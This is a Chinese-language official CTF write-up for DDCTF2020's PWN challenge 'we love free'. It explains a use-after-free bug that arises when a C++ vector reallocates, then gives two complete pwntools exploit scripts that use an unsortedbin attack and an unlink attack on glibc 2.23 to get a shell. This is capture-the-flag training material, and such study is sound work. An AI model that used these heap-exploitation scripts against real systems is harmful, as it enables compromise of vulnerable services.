DDCTF2020官方Write Up——PWN篇

admin 2020年9月12日14:35:12评论525 views字数 5155阅读17分11秒阅读模式

目录

 0x01 :we love free

   出题人现身说法,带来官方解读

01

we love free

团队昵称:Nanase

一血用时:2小时13分


出题人

DDCTF2020官方Write Up——PWN篇

罗爱国

滴滴出行安全工程师

出题人视角

本题使用了vector库,选手需要了解vector的机制。在插入第一个数据时,分配大小为1个数据大小的内存把数据存入;在插入第二个数据时,由于空间已经满了,把已有内存释放,再分配2个数据大小的内存,把数据存入;漏洞点是在show的时候把irte指针保存在bss段,然后再插入数据,这样就导致当前的地址空间被释放,但指针仍然指向的时旧的地址,这样就产生了use after free漏洞。

-----选手Write Up-----

这道题巧妙利用vector的扩容机制设置了一个漏洞,我自己解的时候是用unsortedbin attack攻击的cin,赛后还看到了用unlink来unlink自己的骚操作,这里把两种解法都记录下

解法一

vector结构:

00000000 vector          struc ; (sizeof=0x18, mappedto_7)
00000000                                         ; XREF: .bss:vec_/r
00000000 start           dq ?
00000008 cur             dq ?
00000010 end             dq ?
00000018 vector          ends
00000018
00000000 ; [00000018 BYTES. COLLAPSED STRUCT Elf64_Rela. PRESS CTRL-NUMPAD+ TO EXPAND]
00000000 ; [00000010 BYTES. COLLAPSED STRUCT Elf64_Dyn. PRESS CTRL-NUMPAD+ TO EXPAND]

vector的扩容规则是1,2,4,8,16,32,依次乘2个元素的时候会先申请新的空间,在把原来的数据拷贝到新申请的空间中,在释放原先的空间,对应申请的堆块大小(加上头部)0x20,0x20,0x30,0x50,0x90.....

漏洞点:

DDCTF2020官方Write Up——PWN篇

思路为:

• 先add16个元素(0x90的堆块),这样调用show函数的时候,在push 0xAABBCCDD之后,原先的堆块就会被释放,这样就能有UAF的效果,先泄露下libc的地址,在调用clear函数清空,这里调用clear会触发malloc_consolidate,所以堆又会变成原来的样子


• 在add至少0x20个元素,每个元素都为one_gadget,在堆上残留数据,在调用clear函数清空堆


• 接着在add16个元素,调用show函数


• show函数还会问我们要不要修改元素的值,所以我们可以把unsorted bin的bk指针改掉,用作unsortedbin attack,改成啥后面再说


• 接着在修改push 0xAABBCCDD之后新申请的堆块的大小,改小size,在clear的时候不触发malloc_consolidate,这样就为后面的unsortedbin attack做好了准备


• 最后只要在add 9 个元素,vector就会申请0x80大小的堆块,触发unsortedbin attack,将unsortedbin的地址写入一个地方


现在的问题就是将这个unsortedbin的地址写哪里了,我们可以看到程序用到了cin,cout,在data段上有指针指向他们虚表:

DDCTF2020官方Write Up——PWN篇

所以我们选择攻击cin或者cout,都试一下,效果如下:

DDCTF2020官方Write Up——PWN篇

libc2.23有很多one_gadget,这里选的是:

DDCTF2020官方Write Up——PWN篇

•  在add完元素之后就会调用cin,或者cout,就能触发one_gadget,拿到shell

exp:

from pwn import *

context.arch = 'amd64'

# context.terminal = ["tmux","split-window","-h"]

def cmd(command):
    p.recvuntil(">>")
    p.sendline(str(command))
def add(cap):
    cmd(1)
    p.recvuntil("num:")
    p.sendline(str(cap))

def show():
    cmd(2)


def clear():
    cmd(3)


def main(host,port=5005):
    global p
    if host:
        p = remote(host,port)
    else:
        p = process("./pwn1")
        gdb.attach(p)
        # gdb.attach(p,"b *0x000000000401192")
    for i in range(0x10):
        add(0xcafebabedeadbeef)
    show()
    p.recvuntil("1:")
    libc.address = int(p.recvuntil('n')[:-1]) - 0x3c4b78
    info("libc : " + hex(libc.address))
    for i in range(34):
        p.recvuntil("(y/n):")
        p.send('n')
    for i in range(0x10):
        add(libc.address)
    clear()

    for i in range(0x21):
        add(0xf67b0+libc.address)
    clear()


    # unsorted bin attack
    for i in range(0x10):
        add(0xcafebabedeadbeef)
    show()
    p.recvuntil("1:")
    p.recvuntil("(y/n):")
    p.send('n')
    p.recvuntil("(y/n):")
    p.send('y')
    # modify unsortedbin->bk
    p.sendline(str(0x6051f8-0x10))
    for i in range(32):
        p.recvuntil("(y/n):")
        p.send('y')
        p.sendline(str(0x71))
    clear()
    # trigger one_gadget
    for i in range(0x9):
        add(0xcafebabedeadbeef)

    p.interactive()

if __name__ == "__main__":
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
    main(args['REMOTE'])

解法二

如果把presize给改成-0x10,这样unlink的时候,p就会指向自己+0x10偏移处:

/* consolidate backward */
    if (!prev_inuse(p)) {
      prevsize = p->prev_size;
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      unlink(av, p, bck, fwd);
    }


我们可以在这里构造好假的fd和bk,这样在free之后就可以改到数据段上的vec结构,连同迭代器也一起改了,这样就可以直接任意地址读写,把vec的begin改成__free_hook-8,cur改的比begin大就好,end也是,然后add数据的时候就可以修改__free_hook,getshell

exp:

from pwn import *

context.arch = 'amd64'

context.terminal = ["tmux","split-window","-h"]

def cmd(command):
    p.recvuntil(">>")
    p.sendline(str(command))
def add(cap):
    cmd(1)
    p.recvuntil("num:")
    p.sendline(str(cap))

def show():
    cmd(2)


def clear():
    cmd(3)

def write(data):
    p.recvuntil("(y/n):")
    p.send('y')
    p.sendline(str(data))

def main(host,port=5005):
    global p
    if host:
       p = remote(host,port)
    else:
       p = process("./pwn1")
       gdb.attach(p)
       # gdb.attach(p,"b *0x000000000401192")
    for i in range(0x10):
       add(0xcafebabedeadbeef)
    show()
    p.recvuntil("1:")
    libc.address = int(p.recvuntil('n')[:-1]) - 0x3c4b78
    info("libc : " + hex(libc.address))
    for i in range(34):
       p.recvuntil("(y/n):")
       p.send('n')
    clear()

    for i in range(0x10):
       add(0xcafebabedeadbeef)

    show()

    for i in range(16):
       p.recvuntil("(y/n):")
       p.send('n')
    write(-0x10)
    write(0x110)
    write(0)   # prev_size
    write(0)   # size
    write(0x605398-0x18)
    write(0x605398-0x10)

    for i in range(12):
       p.recvuntil("(y/n):")
       p.send('n')
    for i in range(0xf):
       add(0xcafebabedeadbeef)
    show()
    # we can overwrite vec now !!
    write(libc.symbols["__free_hook"]-8)      # begin
    write(libc.symbols["__free_hook"]-8)      # current
    write(libc.symbols["__free_hook"]+0x20)      # end

    write(0x605398)      # it_begin
    write(0x6053b0)      # it_end
    p.recvuntil("(y/n):")
    p.send('n')

    add(u64('/bin/shx00'))
    add(libc.symbols["system"])
    clear()

    p.interactive()

if __name__ == "__main__":
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
    main(args['REMOTE'])


-----MISC方向Write Up请查看下一篇-----

本文始发于微信公众号(滴滴安全应急响应中心):DDCTF2020官方Write Up——PWN篇

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年9月12日14:35:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DDCTF2020官方Write Up——PWN篇https://cn-sec.com/archives/130132.html

发表评论

匿名网友 填写信息